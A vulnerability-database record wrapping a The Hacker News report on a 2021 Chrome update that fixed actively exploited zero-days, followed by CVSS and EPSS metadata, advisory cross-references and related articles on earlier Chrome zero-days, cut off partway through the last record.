[](<https://thehackernews.com/new-images/img/a/AVvXsEgMs77BPvPvj6P-3E7i08R8I_ixvGQZgvS5p1CxbhBqiARNzNLx3R6X1fYdCRjiQmZfLY3-6HUY_hPXAucE_jFVypFTV0HG0XIru72uSOfwfn3mMcLC9j6XyeOCF7We4fYjthQ17-YmGUSvhPWEOlnBXakT_9U8IYdpMKEB6GeCFMJI8ihho5D-6JUO>)
Google on Thursday rolled out an emergency update for its Chrome web browser, including fixes for two zero-day vulnerabilities that it says are being actively exploited in the wild.
Tracked as **CVE-2021-38000** and **CVE-2021-38003**, the weaknesses relate to insufficient validation of untrusted input in a feature called Intents as well as a case of inappropriate implementation in V8 JavaScript and WebAssembly engine. The internet giant's Threat Analysis Group (TAG) has been credited with discovering and reporting the two flaws on September 15, 2021, and October 26, 2021, respectively.
"Google is aware that exploits for CVE-2021-38000 and CVE-2021-38003 exist in the wild," the company [noted](<https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html>) in an advisory without delving into technical specifics about how the two vulnerabilities were used in attacks or the threat actors that may have weaponized them.
Also addressed as part of this stable channel update is a [use-after-free](<https://cwe.mitre.org/data/definitions/416.html>) vulnerability in the Web Transport component (CVE-2021-38002), which was demonstrated for the first time at the [Tianfu Cup](<https://thehackernews.com/2021/10/windows-10-linux-ios-chrome-and-many.html>) contest held earlier this month in China. With these patches, Google has resolved a record 16 zero-days in the web browser since the start of the year —
* [**CVE-2021-21148**](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \- Heap buffer overflow in V8
* [**CVE-2021-21166**](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \- Object recycle issue in audio
* [**CVE-2021-21193**](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \- Use-after-free in Blink
* [**CVE-2021-21206**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \- Use-after-free in Blink
* [**CVE-2021-21220**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \- Insufficient validation of untrusted input in V8 for x86_64
* [**CVE-2021-21224**](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \- Type confusion in V8
* [**CVE-2021-30551**](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>) \- Type confusion in V8
* [**CVE-2021-30554**](<https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html>) \- Use-after-free in WebGL
* [**CVE-2021-30563**](<https://thehackernews.com/2021/07/update-your-chrome-browser-to-patch-new.html>) \- Type confusion in V8
* [**CVE-2021-30632**](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \- Out of bounds write in V8
* [**CVE-2021-30633**](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \- Use-after-free in Indexed DB API
* [**CVE-2021-37973**](<https://thehackernews.com/2021/09/urgent-chrome-update-released-to-patch.html>) \- Use-after-free in Portals
* [**CVE-2021-37975**](<https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html>) \- Use-after-free in V8
* [**CVE-2021-37976**](<https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html>) \- Information leak in core
Chrome users are advised to update to the latest version (95.0.4638.69) for Windows, Mac, and Linux by heading to Settings > Help > 'About Google Chrome' to mitigate any potential risk of active exploitation.
Found this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter __](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.
{"id": "THN:B7217784F9D53002315C9C43CCC73766", "vendorId": null, "type": "thn", "bulletinFamily": "info", "title": "Google Releases Urgent Chrome Update to Patch 2 Actively Exploited 0-Day Bugs", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEgMs77BPvPvj6P-3E7i08R8I_ixvGQZgvS5p1CxbhBqiARNzNLx3R6X1fYdCRjiQmZfLY3-6HUY_hPXAucE_jFVypFTV0HG0XIru72uSOfwfn3mMcLC9j6XyeOCF7We4fYjthQ17-YmGUSvhPWEOlnBXakT_9U8IYdpMKEB6GeCFMJI8ihho5D-6JUO>)\n\nGoogle on Thursday rolled out an emergency update for its Chrome web browser, including fixes for two zero-day vulnerabilities that it says are being actively exploited in the wild.\n\nTracked as **CVE-2021-38000** and **CVE-2021-38003**, the weaknesses relate to insufficient validation of untrusted input in a feature called Intents as well as a case of inappropriate implementation in V8 JavaScript and WebAssembly engine. The internet giant's Threat Analysis Group (TAG) has been credited with discovering and reporting the two flaws on September 15, 2021, and October 26, 2021, respectively.\n\n\"Google is aware that exploits for CVE-2021-38000 and CVE-2021-38003 exist in the wild,\" the company [noted](<https://chromereleases.googleblog.com/2021/10/stable-channel-update-for-desktop_28.html>) in an advisory without delving into technical specifics about how the two vulnerabilities were used in attacks or the threat actors that may have weaponized them.\n\nAlso addressed as part of this stable channel update is a [use-after-free](<https://cwe.mitre.org/data/definitions/416.html>) vulnerability in the Web Transport component (CVE-2021-38002), which was demonstrated for the first time at the [Tianfu Cup](<https://thehackernews.com/2021/10/windows-10-linux-ios-chrome-and-many.html>) contest held earlier this month in China. With these patches, Google has resolved a record 16 zero-days in the web browser since the start of the year \u2014\n\n * [**CVE-2021-21148**](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \\- Heap buffer overflow in V8\n * [**CVE-2021-21166**](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \\- Object recycle issue in audio\n * [**CVE-2021-21193**](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21206**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21220**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Insufficient validation of untrusted input in V8 for x86_64\n * [**CVE-2021-21224**](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \\- Type confusion in V8\n * [**CVE-2021-30551**](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>) \\- Type confusion in V8\n * [**CVE-2021-30554**](<https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html>) \\- Use-after-free in WebGL\n * [**CVE-2021-30563**](<https://thehackernews.com/2021/07/update-your-chrome-browser-to-patch-new.html>) \\- Type confusion in V8\n * [**CVE-2021-30632**](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Out of bounds write in V8\n * [**CVE-2021-30633**](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Use-after-free in Indexed DB API\n * [**CVE-2021-37973**](<https://thehackernews.com/2021/09/urgent-chrome-update-released-to-patch.html>) \\- Use-after-free in Portals\n * [**CVE-2021-37975**](<https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html>) \\- Use-after-free in V8\n * [**CVE-2021-37976**](<https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html>) \\- Information leak in core\n\nChrome users are advised to update to the latest version (95.0.4638.69) for Windows, Mac, and Linux by heading to Settings > Help > 'About Google Chrome' to mitigate any potential risk of active exploitation.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "published": "2021-10-29T04:08:00", "modified": "2021-10-29T04:08:52", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.8}, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.6, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 2.8, "impactScore": 6.0}, "href": "https://thehackernews.com/2021/10/google-releases-urgent-chrome-update-to.html", "reporter": "The Hacker News", "references": [], "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38002", "CVE-2021-38003"], "immutableFields": [], "lastseen": "2022-05-09T12:38:09", "viewCount": 73, "enchantments": {"dependencies": {"references": [{"type": "archlinux", "idList": ["ASA-202102-4", "ASA-202102-6", "ASA-202103-19", "ASA-202103-9", "ASA-202104-5", "ASA-202104-7", "ASA-202106-31", "ASA-202106-32", "ASA-202106-45", "ASA-202106-46", "ASA-202106-47", "ASA-202107-1", "ASA-202107-2", "ASA-202107-30", "ASA-202107-31", "ASA-202107-4", "ASA-202107-46", "ASA-202109-6", "ASA-202110-7", "ASA-202111-8", "ASA-202112-1"]}, {"type": "attackerkb", "idList": ["AKB:160D34D9-2175-4B27-87F8-0CED51121F50", "AKB:21C170FF-C7C6-4BFB-8AED-613970EDA44C", "AKB:411A7B9E-A187-43CF-8DA1-E0E921F590D1", "AKB:51E88AF4-0A81-4B72-8855-34DF072124D9", "AKB:624AC3C7-B310-4975-8649-2694A0CF4962", "AKB:732A3017-A62C-4347-9709-9B8790F47FA1", "AKB:795A9D93-F12E-4850-BD6A-5E10D1372B2C", "AKB:7E06EF37-046E-4E9E-AD5A-F4C2477ECB9E", "AKB:9D905B34-8121-41F5-8B42-E3A825212673", "AKB:AC92E5DD-15E0-44E1-99A5-C1AED6D4703F", "AKB:B61D2687-96CE-4CE9-939F-9E35DA7814C4", "AKB:C300BC5A-FE8F-4274-AFA8-C1F47411FEC1", "AKB:D35B77A1-B787-4DAD-A906-5CA8A79C2F30", "AKB:D986B627-DA84-4C1B-8D20-5ADF751B05BF", "AKB:DD1DB11A-039E-4C46-8789-1158839E5A3F", "AKB:DFA61FBF-688B-44E9-8B09-134E93207AD9", "AKB:E19B9242-C88F-44D6-8AED-AFDFBCF99977"]}, {"type": "avleonov", "idList": ["AVLEONOV:5945665DFA613F7707360C10CED8C916", "AVLEONOV:C33EB29E3A78720B630607BECBB3CEF5"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0276", "CPAI-2021-0482", "CPAI-2021-0484", "CPAI-2021-0685", "CPAI-2021-0952", "CPAI-2021-1027", "CPAI-2021-1055", "CPAI-2021-1116"]}, {"type": "chrome", "idList": ["GCSA-1247606144415232205", "GCSA-2371492188806762489", "GCSA-2705646769654617144", "GCSA-2763659147289736801", "GCSA-3185915322248637110", "GCSA-3803715665928870837", "GCSA-5280375550425303743", "GCSA-6244807684233791030", "GCSA-7342407883646540962", "GCSA-8146707100851062467", "GCSA-8794598538337601472", "GCSA-990899800226727119"]}, {"type": "cisa", "idList": ["CISA:67D945E5ECA0CDAAE641683ED29CBC30", "CISA:A18F08DE3E2F1C8CB8076BD5F052EFA3", "CISA:D060813248AE96F3F62B7F67A176132F", "CISA:F9916EF5EF9E126FF62CF4162B96669F"]}, {"type": "cve", "idList": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38002", "CVE-2021-38003"]}, {"type": "debian", "idList": ["DEBIAN:DSA-4858-1:7131E", "DEBIAN:DSA-4886-1:0EF07", "DEBIAN:DSA-4886-1:8DF2D", "DEBIAN:DSA-4906-1:4BE22", "DEBIAN:DSA-5046-1:A18C0"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2021-21148", "DEBIANCVE:CVE-2021-21166", "DEBIANCVE:CVE-2021-21193", "DEBIANCVE:CVE-2021-21206", "DEBIANCVE:CVE-2021-21220", "DEBIANCVE:CVE-2021-21224", "DEBIANCVE:CVE-2021-30551", "DEBIANCVE:CVE-2021-30554", "DEBIANCVE:CVE-2021-30563", "DEBIANCVE:CVE-2021-30632", "DEBIANCVE:CVE-2021-30633", "DEBIANCVE:CVE-2021-37973", "DEBIANCVE:CVE-2021-37975", "DEBIANCVE:CVE-2021-37976", "DEBIANCVE:CVE-2021-38000", "DEBIANCVE:CVE-2021-38002", "DEBIANCVE:CVE-2021-38003"]}, {"type": "fedora", "idList": ["FEDORA:10E2D309BE14", "FEDORA:12FCA30F5428", "FEDORA:1E8AD3056996", "FEDORA:210C430584A5", "FEDORA:4CD8430AA7AD", "FEDORA:4E16930B130B", "FEDORA:5C0DB31397D8", "FEDORA:6987B3049380", "FEDORA:75CA430AA7A6", "FEDORA:807E83072E26", "FEDORA:993DD30E4796", "FEDORA:A017F3074280", "FEDORA:AA2993092FBD", "FEDORA:B4C4A30D8539", "FEDORA:BB03930B3A56", "FEDORA:BC8983072E0A", "FEDORA:BE52E30CCCAA", "FEDORA:BF4FC30A0346", "FEDORA:C67773052A4D", "FEDORA:D63AA304E89C", "FEDORA:D72E230C6791", "FEDORA:E043930AE6E8", "FEDORA:EAFDA31B6546"]}, {"type": "freebsd", "idList": ["1BA21FF1-E672-11EB-A686-3065EC8FD3EC", "20B3AB21-C9DF-11EB-8558-3065EC8FD3EC", "3E01AAD2-680E-11EB-83E2-E09467587C17", "47B571F2-157B-11EC-AE98-704D7B472482", "777EDBBE-2230-11EC-8869-704D7B472482", "7C0D71A9-9D48-11EB-97A0-E09467587C17", "976D7BF9-38EA-11EC-B3B0-3065EC8FD3EC", "AFDC7579-D023-11EB-BCAD-3065EC8FD3EC", "B6C875F1-1D76-11EC-AE80-704D7B472482", "B81AD6D6-8633-11EB-99C5-E09467587C17", "CB13A765-A277-11EB-97A0-E09467587C17", "F00B65D8-7CCB-11EB-B3BE-E09467587C17"]}, {"type": "gentoo", "idList": ["GLSA-202104-08", "GLSA-202107-06", "GLSA-202107-49", "GLSA-202201-02"]}, {"type": "github", "idList": ["GITHUB:D9472F716C46C02F88677DBAD0EEA334"]}, {"type": "githubexploit", "idList": ["55D44407-F5C9-50A9-B51D-0D4F668CD993", "5BC9FD05-BCBB-5B7C-AE22-BE3732D2976B", "6432789A-FC4C-597F-925F-5764319F257F", "CAE25BF5-2DB9-5000-8FF9-CC2EAA626ECE", "D03F8616-CD02-52E2-80E1-347A8A3132BC", "FCD264DC-601D-5F11-BFEF-BB041077ABB8"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:3B4F7E79DDCD0AFF3B9BB86429182DCA", "GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156"]}, {"type": "hivepro", "idList": ["HIVEPRO:8AF52D0A3BB6DDEEAC663A63DA954039", "HIVEPRO:E94A0D5F817307E8C9D45F52D6A000D1", "HIVEPRO:F243DF43F7B996BA4E54A801D8E23724"]}, {"type": "kaspersky", "idList": ["KLA12062", "KLA12063", "KLA12106", "KLA12107", "KLA12115", "KLA12122", "KLA12136", "KLA12143", "KLA12147", "KLA12153", "KLA12179", "KLA12181", "KLA12183", "KLA12204", "KLA12205", "KLA12209", "KLA12210", "KLA12211", "KLA12215", "KLA12235", "KLA12284", "KLA12296", "KLA12299", "KLA12301", "KLA12333"]}, {"type": "krebs", "idList": ["KREBS:1BEFD58F5124A2E4CA40BD9C1B49B9B7"]}, {"type": "mageia", "idList": ["MGASA-2021-0142", "MGASA-2021-0406", "MGASA-2022-0050"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:07CCE98B638067D2F0F9AD53E87E8D55", "MALWAREBYTES:1BBB147ADD90DF3A3483E6805D78B6A6", "MALWAREBYTES:3322D6B92554507E3E44D06E2BA5E174", "MALWAREBYTES:390E663F11CA04293C83488A40CB3A8A", "MALWAREBYTES:6F90B6DD790D455EDED4BE326079DA35", "MALWAREBYTES:AC714CB24C401F36B220E29C6D2B049F"]}, {"type": "mscve", "idList": ["MS:CVE-2021-21148", "MS:CVE-2021-21166", "MS:CVE-2021-21193", "MS:CVE-2021-21206", "MS:CVE-2021-21220", "MS:CVE-2021-21224", "MS:CVE-2021-30551", "MS:CVE-2021-30554", "MS:CVE-2021-30563", "MS:CVE-2021-30632", "MS:CVE-2021-30633", "MS:CVE-2021-37973", "MS:CVE-2021-37975", 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"THN:BBBFDA7EEE18F813A5DA572FD390D528", "THN:C736174C6B0ADC38AA88BC58F30271DA", "THN:CDCF433A7837180E1F294791C672C5BB", "THN:EF50BA60FF5E3EF9AF1570FF5A2589A0", "THN:F197A729A4F49F957F9D5910875EBAAA", "THN:FF8DAEC0AE0DDAE827D57407C51BE992"]}, {"type": "threatpost", "idList": ["THREATPOST:398E85215A3E7B7329EE3FED8F6374FF", "THREATPOST:61CC1EAC83030C2B053946454FE77AC3", "THREATPOST:88DD5812D3C8652E304F32507E4F68DD", "THREATPOST:A8D4979B3A84B8E7B98B5321FA948454", "THREATPOST:CF9E25BD324C5940B0795721CA134155", "THREATPOST:EA23582BD77C428ACE9B9DB7D5741EB6"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2021-21206", "UB:CVE-2021-21220", "UB:CVE-2021-21224", "UB:CVE-2021-30551", "UB:CVE-2021-30554", "UB:CVE-2021-30563", "UB:CVE-2021-30632", "UB:CVE-2021-30633", "UB:CVE-2021-38000", "UB:CVE-2021-38002"]}, {"type": "zdi", "idList": ["ZDI-21-411"]}, {"type": "zdt", "idList": ["1337DAY-ID-36202"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2021-21148", "epss": "0.013990000", "percentile": "0.843720000", "modified": "2023-03-17"}, {"cve": "CVE-2021-21166", "epss": "0.026870000", "percentile": "0.887900000", "modified": "2023-03-17"}, {"cve": "CVE-2021-21193", "epss": "0.004650000", "percentile": "0.716000000", "modified": "2023-03-17"}, {"cve": "CVE-2021-21206", "epss": "0.007990000", "percentile": "0.789930000", "modified": "2023-03-17"}, {"cve": "CVE-2021-21220", "epss": "0.974070000", "percentile": "0.998440000", "modified": "2023-03-17"}, {"cve": "CVE-2021-21224", "epss": "0.969350000", "percentile": "0.994990000", "modified": "2023-03-17"}, {"cve": "CVE-2021-30551", "epss": "0.335030000", "percentile": "0.963600000", "modified": "2023-03-17"}, {"cve": "CVE-2021-30554", "epss": "0.006800000", "percentile": "0.768950000", "modified": "2023-03-17"}, {"cve": "CVE-2021-30563", "epss": "0.004020000", "percentile": "0.695630000", "modified": "2023-03-17"}, {"cve": "CVE-2021-30632", "epss": "0.893050000", "percentile": "0.981180000", "modified": "2023-03-17"}, {"cve": "CVE-2021-30633", "epss": "0.003400000", "percentile": "0.668660000", "modified": "2023-03-17"}, {"cve": "CVE-2021-37973", "epss": "0.002210000", "percentile": "0.585680000", "modified": "2023-03-17"}, {"cve": "CVE-2021-37975", "epss": "0.573330000", "percentile": "0.971240000", "modified": "2023-03-17"}, {"cve": "CVE-2021-37976", "epss": "0.026300000", "percentile": "0.886750000", "modified": "2023-03-17"}, {"cve": "CVE-2021-38000", "epss": "0.002580000", "percentile": "0.618290000", "modified": "2023-03-17"}, {"cve": "CVE-2021-38002", "epss": "0.001480000", "percentile": "0.491260000", "modified": "2023-03-17"}, {"cve": "CVE-2021-38003", "epss": "0.012950000", "percentile": "0.837380000", "modified": "2023-03-17"}], "vulnersScore": 1.7}, "_state": {"dependencies": 1660004461, "score": 1659916224, "epss": 1679135269}, "_internal": {"score_hash": "8b68b184b61b044dd38acba019ebe9c9"}}
{"thn": [{"lastseen": "2022-05-09T12:37:14", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEggQTDQ-V9WbcSJKwsXKGeYWFxP3jSKikqYhYG8xpFa_NiB7aFJV8tcR11eRFpoq9nIOMlHfbefT2pZC9vdUHCul3SAafHr4t5T-oIIj-H61WEAlv8x9Mfzo1cqzuxor4bqF090P_C7w7fQqzoSFEmUVm1PvbmzU9YENMC2O_ZAEkOC_qbBbzYZdzhA>)\n\nGoogle on Thursday pushed urgent security fixes for its Chrome browser, including a pair of new security weaknesses that the company said are being exploited in the wild, making them the fourth and fifth actively zero-days plugged this month alone.\n\nThe issues, designated as [CVE-2021-37975 and CVE-2021-37976](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html>), are part of a total of four patches, and concern a [use-after-free flaw](<https://cwe.mitre.org/data/definitions/416.html>) in V8 JavaScript and WebAssembly engine as well as an information leak in core.\n\nAs is usually the case, the tech giant has refrained from sharing any additional details regarding how these zero-day vulnerabilities were used in attacks so as to allow a majority of users to be updated with the patches, but noted that it's aware that \"exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild.\"\n\nAn anonymous researcher has been credited with reporting CVE-2021-37975. The discovery of CVE-2021-37976, on the other hand, involves Cl\u00e9ment Lecigne from Google Threat Analysis Group, who was also credited with [CVE-2021-37973](<https://thehackernews.com/2021/09/urgent-chrome-update-released-to-patch.html>), another actively exploited use-after-free vulnerability in Chrome's Portals API that was reported last week, raising the possibility that the two flaws may have been stringed together as part of an exploit chain to execute arbitrary code.\n\nWith the latest update, Google has addressed a record 14 zero-days in the web browser since the start of the year.\n\n * [CVE-2021-21148](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \\- Heap buffer overflow in V8\n * [CVE-2021-21166](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \\- Object recycle issue in audio\n * [CVE-2021-21193](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \\- Use-after-free in Blink\n * [CVE-2021-21206](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Use-after-free in Blink\n * [CVE-2021-21220](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Insufficient validation of untrusted input in V8 for x86_64\n * [CVE-2021-21224](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \\- Type confusion in V8\n * [CVE-2021-30551](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>) \\- Type confusion in V8\n * [CVE-2021-30554](<https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html>) \\- Use-after-free in WebGL\n * [CVE-2021-30563](<https://thehackernews.com/2021/07/update-your-chrome-browser-to-patch-new.html>) \\- Type confusion in V8\n * [CVE-2021-30632](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Out of bounds write in V8\n * [CVE-2021-30633](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Use-after-free in Indexed DB API\n * [CVE-2021-37973](<https://thehackernews.com/2021/09/urgent-chrome-update-released-to-patch.html>) \\- Use-after-free in Portals\n\nChrome users are advised to update to the latest version (94.0.4606.71) for Windows, Mac, and Linux by heading to Settings > Help > 'About Google Chrome' to mitigate any potential risk of active exploitation.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-10-01T03:30:00", "type": "thn", "title": "Update Google Chrome ASAP to Patch 2 New Actively Exploited Zero-Day Flaws", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976"], "modified": "2021-10-05T05:27:09", "id": "THN:50D7C51FE6D69FC5DB5B37402AD0E412", "href": "https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:48", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEibt_uA0VwMgumOtohRzrBSD-Inv5dv71ZMU1Hu4XYJFQxp8FVjEZzeLUuvttUyYx1xMxQJ16Nfw5Jdc7mPLfwoGoTeZqrLRMZ005Eu673XGL_uJrq7LDUpWojmmmN1YHSwVQcJQzL28acTco05Z7auS001HlgSR96GjvrE5gDr2M123luTRVFTFcAT>)\n\nGoogle has rolled out fixes for five security vulnerabilities in its Chrome web browser, including one which it says is being exploited in the wild, making it the [17th such weakness](<https://thehackernews.com/2021/10/google-releases-urgent-chrome-update-to.html>) to be disclosed since the start of the year.\n\nTracked as [CVE-2021-4102](<https://chromereleases.googleblog.com/2021/12/stable-channel-update-for-desktop_13.html>), the flaw relates to a [use-after-free bug](<https://cwe.mitre.org/data/definitions/416.html>) in the V8 JavaScript and WebAssembly engine, which could have severe consequences ranging from corruption of valid data to the execution of arbitrary code. An anonymous researcher has been credited with discovering and reporting the flaw.\n\nAs it stands, it's not known how the weakness is being abused in real-world attacks, but the internet giant issued a terse statement that said, \"it's aware of reports that an exploit for CVE-2021-4102 exists in the wild.\" This is done so in an attempt to ensure that a majority of users are updated with a fix and prevent further exploitation by other threat actors.\n\nCVE-2021-4102 is the second use-after-free vulnerability in V8 the company has remediated in less than three months following reports of active exploitation, with the previous vulnerability [CVE-2021-37975](<https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html>), also reported by an anonymous researcher, plugged in an update it shipped on September 30. It's not immediately clear if the two flaws bear any relation to one another.\n\nWith this latest update, Google has addressed a record 17 zero-days in Chrome this year alone \u2014\n\n * [CVE-2021-21148](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \\- Heap buffer overflow in V8\n * [CVE-2021-21166](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \\- Object recycle issue in audio\n * [CVE-2021-21193](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \\- Use-after-free in Blink\n * [CVE-2021-21206](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Use-after-free in Blink\n * [CVE-2021-21220](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Insufficient validation of untrusted input in V8 for x86_64\n * [CVE-2021-21224](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \\- Type confusion in V8\n * [CVE-2021-30551](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>) \\- Type confusion in V8\n * [CVE-2021-30554](<https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html>) \\- Use-after-free in WebGL\n * [CVE-2021-30563](<https://thehackernews.com/2021/07/update-your-chrome-browser-to-patch-new.html>) \\- Type confusion in V8\n * [CVE-2021-30632](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Out of bounds write in V8\n * [CVE-2021-30633](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Use-after-free in Indexed DB API\n * [CVE-2021-37973](<https://thehackernews.com/2021/09/urgent-chrome-update-released-to-patch.html>) \\- Use-after-free in Portals \n * [CVE-2021-37975](<https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html>) \\- Use-after-free in V8\n * [CVE-2021-37976](<https://thehackernews.com/2021/09/update-google-chrome-asap-to-patch-2.html>) \\- Information leak in core\n * [CVE-2021-38000](<https://thehackernews.com/2021/10/google-releases-urgent-chrome-update-to.html>) \\- Insufficient validation of untrusted input in Intents\n * [CVE-2021-38003](<https://thehackernews.com/2021/10/google-releases-urgent-chrome-update-to.html>) \\- Inappropriate implementation in V8\n\nChrome users are recommended to update to the latest version (96.0.4664.110) for Windows, Mac, and Linux by heading to Settings > Help > 'About Google Chrome' to mitigate any potential risk of active exploitation.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": 